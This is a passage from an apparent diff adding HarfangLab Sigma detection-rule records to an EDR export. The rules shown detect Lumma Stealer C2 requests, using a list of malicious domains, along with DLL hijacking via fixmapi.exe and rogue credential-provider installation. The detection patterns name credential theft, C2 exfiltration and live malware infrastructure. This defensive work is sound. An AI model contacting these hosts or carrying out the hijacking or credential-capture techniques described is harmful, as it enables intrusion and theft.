+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091616Z",
+  "creation_date": "2026-03-23T11:45:34.091618Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091622Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1071_001_lumma_stealer_url_request.yml",
+  "content": "title: URL Request Related to Lumma Stealer\nid: 49c66d4d-9c2f-494f-8e7b-c7c7eb891011\ndescription: |\n    Detects requests to URLs related to Lumma Stealer.\n    Lumma Stealer is an information stealer written in the C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022.\n    It is recommended to investigate the request performed by the process to determine its legitimacy.\nreferences:\n    - https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2024/08/17\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1005\n    - attack.command_and_control\n    - attack.t1071.001\n    - attack.exfiltration\n    - attack.t1041\n    - classification.Windows.Source.UrlRequest\n    - classification.Windows.Stealer.LummaStealer\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: url_request\ndetection:\n    selection_generic_v1:\n        RequestUrlPath: '/c2sock'\n        RequestUrlVerb: 'POST'\n\n    selection_generic_v2:\n        RequestUrlHost|endswith:\n            - '.shop'\n            - '.site'\n            - '.biz'\n        RequestUrlPath: '/api'\n        RequestUrlVerb: 'POST'\n\n    selection_domain:\n        RequestUrlHost|endswith:\n          - '.quickworld.shop'\n          - '.experttech.shop'\n          - '.techresource.shop'\n          - '.prinntypainrwi.shop'\n          - '.pang-scrooge-carnage.shop'\n          - '.claimconcessionrebe.shop'\n          - '.divosrcemusemutati.shop'\n          - '.gemcreedarticulateod.shop'\n          - '.liabilityarrangemenyit.shop'\n          - '.secretionsuitcasenioise.shop'\n          - '.filetip.shop'\n          - '.denbangladeesk.ru'\n          - '.malazika.icu'\n          - '.nvsrvmgr.org'\n          - '.agentyanlark.site'\n          - '.bakedgooak.site'\n          - '.bellykmrebk.site'\n          - '.commandejorsk.site'\n          - '.delaylacedmn.site'\n          - '.famikyjdiag.site'\n\n    condition: 1 of selection_*\nlevel: high\n#level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "49c66d4d-9c2f-494f-8e7b-c7c7eb891011",
+  "rule_name": "URL Request Related to Lumma Stealer",
+  "rule_description": "Detects requests to URLs related to Lumma Stealer.\nLumma Stealer is an information stealer written in the C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022.\nIt is recommended to investigate the request performed by the process to determine its legitimacy.\n",
+  "rule_creation_date": "2024-08-17",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1005",
+    "attack.t1041",
+    "attack.t1071.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "49c85d57-bba9-4d25-8825-752b9581d109",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589486Z",
+  "creation_date": "2026-03-23T11:45:34.589490Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589498Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_fixmapi.yml",
+  "content": "title: DLL Hijacking via fixmapi.exe\nid: 49c85d57-bba9-4d25-8825-752b9581d109\ndescription: |\n    Detects potential Windows DLL Hijacking via fixmapi.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'fixmapi.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\mapistub.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "49c85d57-bba9-4d25-8825-752b9581d109",
+  "rule_name": "DLL Hijacking via fixmapi.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via fixmapi.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "49c89875-fa13-4a83-a71b-911e70858184",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079798Z",
+  "creation_date": "2026-03-23T11:45:34.079800Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079804Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kcredentialprovider.c",
+    "https://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/",
+    "https://attack.mitre.org/techniques/T1556/002/",
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "t1556_002_credential_provider.yml",
+  "content": "title: New Credential Provider Installed\nid: 49c89875-fa13-4a83-a71b-911e70858184\ndescription: |\n    Detects the installation of a new credential provider.\n    Attackers can install a new credential provider in order to obtain user credentials. For instance, Mimikatz has this feature.\n    It is recommended to analyze the DLL pointed to by the registry key and the process responsible for the registry modification to determine the legitimacy of this action.\nreferences:\n    - https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kcredentialprovider.c\n    - https://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/\n    - https://attack.mitre.org/techniques/T1556/002/\n    - https://attack.mitre.org/techniques/T1003/\ndate: 2021/06/17\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1556.002\n    - attack.t1003\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject:\n          - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{????????-????-????-????-????????????}\\(Default)'\n          - 'HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{????????-????-????-????-????????????}\\(Default)'\n    # https://docs.microsoft.com/fr-fr/windows/security/identity-protection/hello-for-business/feature-multifactor-unlock\n\n    exclusion_multifactor:\n        TargetObject|startswith:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{D6886603-9D2F-4EB2-B667-1971041FA96B}\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{BEC09223-B018-416D-A0AC-523971B639F5}\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{8AF662BF-65A0-4D0A-A540-A338A999D36F}\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{27FBDB57-B613-4AF2-9D7E-4FA7A66C21AD}\\'\n    # C:\\Program Files (x86)\\Splashtop\\Splashtop Remote\\AutoUpdate\\SRAuto.exe\n    exclusion_splashtop:\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{97E1814E-5601-41c8-9971-10C319EF61CC}\\'\n    # N-able Take Control Agent\n    exclusion_n-able:\n        TargetObject|startswith:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{0F5FAA20-61D6-4779-8DB3-F200E213DBAC}\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{7BA8AD85-A98B-4689-A665-6AA987A67F2F}\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{CB10239D-DDC0-4474-A462-B03D990BCD11}\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{3BAB084B-F669-490F-BD07-54F50E99A93C}\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{FAD0AA98-7868-4F9E-832B-B75FCBC1BB3D}\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{611B4F8B-6D16-4FA8-B5C1-B0778DABDBDC}\\'\n        Details|startswith: 'MSPACredentialProvider_' # MSPACredentialProvider_7.00.26.202107081422_LOGICnow\n    exclusion_fortinet:\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{AC7DD106-EAB6-4b41-AC4F-D52FD62A82C7}\\'\n        Details:\n            - 'FortiCredentialProvider'\n            - 'FortiCredentialProvider?' # \"FortiCredentialProvider\\u0000\"\n    # GoToAssist Remote Support\n    # Parent Image: C:\\Program Files (x86)\\GoToAssist Remote Support Customer\\1702\\g2ax_service.exe\n    # \"C:\\WINDOWS\\system32\\regsvr32.exe\" /s C:\\WINDOWS\\system32\\g2ax_credential_provider64_1702.dll\n    exclusion_logmein_gotoassist_remote_support:\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{D025C57A-763E-4B14-B580-9B5B161F08BB}\\'\n        Details:\n            - 'RemoteCredentialProvider'\n            - 'RemoteCredentialProvider?' # \"RemoteCredentialProvider\\u0000\"\n    exclusion_vaultcredprovider:\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{503739d0-4c5e-4cfd-b3ba-d881334f0df2}\\'\n        Details: 'VaultCredProvider'\n    exclusion_pulse:\n        TargetObject|startswith:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{C1258FBC-F04F-4862-B78A-DDAAEF4A9707}\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{4B9CAC01-6732-40d0-8B8F-B5B340F9D44F}\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{4EFD0F35-BFBA-44eb-8F25-2B3530203C1D}\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{EAB1A79F-DFAA-4faf-A7B9-A6652E97EE16}\\'\n            - 'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{C1258FBC-F04F-4862-B78A-DDAAEF4A9707}\\'\n            - 'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{EAB1A79F-DFAA-4faf-A7B9-A6652E97EE16}\\'\n            - 'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{4B9CAC01-6732-40d0-8B8F-B5B340F9D44F}\\'\n            - 'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{4EFD0F35-BFBA-44eb-8F25-2B3530203C1D}\\'\n        Details:\n            - 'Pulse Secure SSO OneX Smartcard Credential Provider'\n            - 'Pulse Secure SSO OneX Password Credential Provider Class'\n            - 'Pulse Secure SSO OneX Password Credential Provider'\n            - 'Pulse Secure SSO Password Credential Provider Class'\n            - 'Pulse Secure SSO Password Credential Provider'\n            - 'Pulse Secure SSO Smartcard Credential Provider Class'\n            - 'Pulse Secure SSO Smartcard Credential Provider'\n\n    exclusion_citrix1:\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{81C8E4DC-B376-4D88-BCCD-BD0DD65BEE2B}\\(Default)'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{1D7BE727-4560-4adf-9ED8-5EEC78C6ECFF}\\(Default)'\n        Details:\n            - 'CitrixMirrorCredentialProvider'\n            - 'CtxKerbProvider'\n\n    exclusion_citrix2:\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{5B340FA8-5C3F-45de-87C8-487ABE91013E}\\(Default)'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{6D050C58-74E0-40f0-87F6-FDD115B589F8}\\(Default)'\n        Details:\n            - 'Citrix SSOn Credential Provider'\n            - 'Citrix SSOn SCard Credential Provider'\n\n    exclusion_citrix3:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{DD1E7148-DD8F-486F-9358-D011E43C962D}\\(Default)'\n        Details: 'CitrixCredV2'\n\n    exclusion_share_mouse:\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{1EDBF04D-03A6-4589-9CB4-89DC03FD175A}\\'\n        Details: 'ShareMouseCredentialProvider'\n\n    exclusion_setupplatform:\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{C885AA15-1764-4293-B82A-0586ADD46B35}\\'\n        Details: 'IrisCredentialProvider'\n\n    exclusion_shrewsoft_vpn:\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{F2BE9143-5D0A-4a2e-9335-CEA61ED7244E}\\'\n        Details: 'ShrewSoftCredentialProvider'\n\n    exclusion_paloalto_gps:\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{25CA8579-1BD8-469c-B9FC-6AC45A161C18}\\'\n        Details:\n            - 'PanCredProv'\n            - 'PanV2CredProv'\n\n    exclusion_fido:\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{2D8B3101-E025-480D-917C-835522C7F628}\\'\n        Details: 'FIDO Credential Provider'\n\n    exclusion_logonexpert:\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{CB7C9FD8-2878-4d5d-9FB0-7B82DC11B2D2}\\'\n        Details: 'LogonExpertCP'\n\n    exclusion_remote_ngc:\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{A910D941-9DA9-4656-8933-AA1EAE01F76E}\\'\n        Details: 'Remote NGC Credential Provider'\n\n    exclusion_hp_alm:\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{7FFB76D2-64C1-47b4-9330-88F8C479B332}\\'\n        Details: 'AlmRemoteAgentCredentialProvider'\n\n    exclusion_thegreenbow:\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{D079D17E-F83F-4507-BB06-8C215928AE3F}\\'\n        Details: 'TgbCredProv'\n\n    exclusion_onex:\n        TargetObject|startswith:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{07AA0886-CC8D-4e19-A410-1C75AF686E62}\\'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{33c86cd6-705f-4ba1-9adb-67070b837775}\\'\n        Details:\n            - 'OnexCredentialProvider'\n            - 'OnexPlapSmartcardCredentialProvider'\n\n    exclusion_uipath:\n        Image: '?:\\Program Files (x86)\\UiPath\\Studio\\UiPath.Service.Host.exe'\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{78F48D37-36D7-4D3D-B849-040CCB7D81D2}\\'\n        Details|contains: 'UiPathCredentialsProvider'  # \"UiPathCredentialsProvider\\u0000XX\", with XX being garbage data\n\n    # Automation Anywhere\n    exclusion_anywhere:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{75A22DF0-B81D-46ed-B119-CD30507BD620}\\(Default)'\n        Details: 'Automation.CredentialProvider_v11'\n\n    exclusion_signandgo:\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{FFE3B451-4C8D-4061-A2E5-A21C1D0FE2F3}\\(Default)'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{0372E9C9-BED1-4332-A335-813837B54AA5}\\(Default)'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{266fcc23-c4de-4ee8-be6b-31efb036df17}\\(Default)'\n        Details:\n            - 'sngCredentialProvider'\n            - 'sngWrapCredentialProvider1'\n            - 'sngWrapCredentialProvider2'\n\n    exclusion_watchguard:\n        # Watchguard VPN Client (powered by NCP)\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{B4841AC3-BB3F-4bbf-8F90-E25B45EF4CB4}\\(Default)'\n        Details: 'NcpCredentialProvider' # C:\\Windows\\system32\\NcpCredentialProvider.dll\n\n    # Novell ZENworks\n    exclusion_novell:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{692D4DB6-7E51-4370-A9AE-AE95848DBF1E}\\(Default)'\n        Details: 'ZenCredentialProvider'\n\n    exclusion_duo:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{44E2ED41-48C7-4712-A3C3-250C5E6D5D84}\\(Default)'\n        Details: 'CDuoPasswordCredentialProvider Class'\n\n    exclusion_privileged_session_manager:\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{FDDA5F4A-0396-4E85-8EE5-0203D91791AB}\\(Default)'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{FDDA5F4A-0396-4E85-8EE5-0203D91791AA}\\(Default)'\n        Details:\n            - 'PSMSmartcardCredentialProvider'\n            - 'PSMCredentialProvider'\n\n    exclusion_kace:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{53EADCDF-631A-4f13-9B42-724CBDDA943E}\\(Default)'\n        Details: 'KaceCredentialProvider'\n\n    # Cisco AnyConnect\n    exclusion_cisco:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{B12744B8-5BB7-463a-B85E-BB7627E73002}\\(Default)'\n        Details: 'acNamPwdCredProvider'\n\n    exclusion_landesk:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{D2EEC341-83A7-41BC-9407-FA6ED9991C09}\\(Default)'\n        Details: 'LANDesk Credential Provider'\n\n    exclusion_PwdMgmtProvider:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{3DD6481A-A712-4c4c-88FF-6DDCAB28DE86}\\(Default)'\n        Details: 'PwdMgmtProvider'\n\n    exclusion_bomgar:\n        ProcessCommandLine: '?:\\ProgramData\\bomgar-scc-0x????????\\bomgar-scc.exe -service:run'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n        Details: 'cp'\n\n    exclusion_baramundi:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{14BF5F29-7118-438e-81B4-26007D34FCCF}\\(Default)'\n        Details: 'baramundiAutoLogOnProvider'\n\n    exclusion_rdagent:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{f64945df-4fa9-4068-a2fb-61af319edd33}\\(Default)'\n        Details: 'RdpCredentialProvider'\n\n    exclusion_zonecentral:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{00001043-8804-4CA8-8868-36F59DEFD14D}\\(Default)'\n        Details: 'ZC Credential Provider'\n\n    exclusion_evidian:\n        ProcessImage|endswith: '\\WGSens.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'EVIDIAN SA'\n        Details:\n            - 'E-SSOPwdCredProvider'\n            - 'E-SSOTokenCredProvider'\n            - 'E-SSOBioCredProvider'\n            - 'E-SSORFIDCredProvider'\n            - 'E-SSOClusterCredProvider'\n            - 'E-SSOResetSecretCredProvider'\n            - 'E-SSOMobileCredProvider'\n\n    exclusion_beyondtrust:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Bomgar Corporation'\n        ProcessImage|endswith: '\\bomgar-scc.exe'\n        Details: 'cp'\n\n    exclusion_imprivata:\n        ProcessImage: '?:\\Program Files (x86)\\Imprivata\\OneSign Agent\\x64\\ISXCredProvDiag.exe'\n\n    exclusion_imprivata_msiexec:\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{11660363-381B-42A5-893E-BBF09122F76A}\\(Default)'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{11660363-56A3-B1C6-A65B-377AC634DC09}\\(Default)'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{11660363-781C-617B-0100-128274950001}\\(Default)'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{11660363-781C-617B-0100-128274950011}\\(Default)'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{11660363-781C-617B-0100-128274950012}\\(Default)'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{11660363-AB6B-83D3-9CDA-FB2DF5ED7435}\\(Default)'\n        Details: 'OneSign Credential Provider'\n\n    exclusion_cryhod:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\{00000038-8804-9CA8-8868-36F59DEFD14D}\\(Default)'\n        Details: 'CY Credential Provider'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    exclusion_msiexec:\n        - ProcessImage:\n            - '?:\\windows\\system32\\msiexec.exe'\n            - '?:\\windows\\syswow64\\msiexec.exe'\n        - ProcessParentImage:\n            - '?:\\windows\\system32\\msiexec.exe'\n            - '?:\\windows\\syswow64\\msiexec.exe'\n\n    exclusion_userlocker:\n        ProcessSigned: 'true'\n        ProcessSignature: 'IS Decisions SA'\n        ProcessImage: '?:\\Windows\\SysWOW64\\UlAgentExe.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "49c89875-fa13-4a83-a71b-911e70858184",
+  "rule_name": "New Credential Provider Installed",
+  "rule_description": "Detects the installation of a new credential provider.\nAttackers can install a new credential provider in order to obtain user credentials. For instance, Mimikatz has this feature.\nIt is recommended to analyze the DLL pointed to by the registry key and the process responsible for the registry modification to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2021-06-17",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1556.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "49ed1286-c309-4fb0-bcfc-67f8039069c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
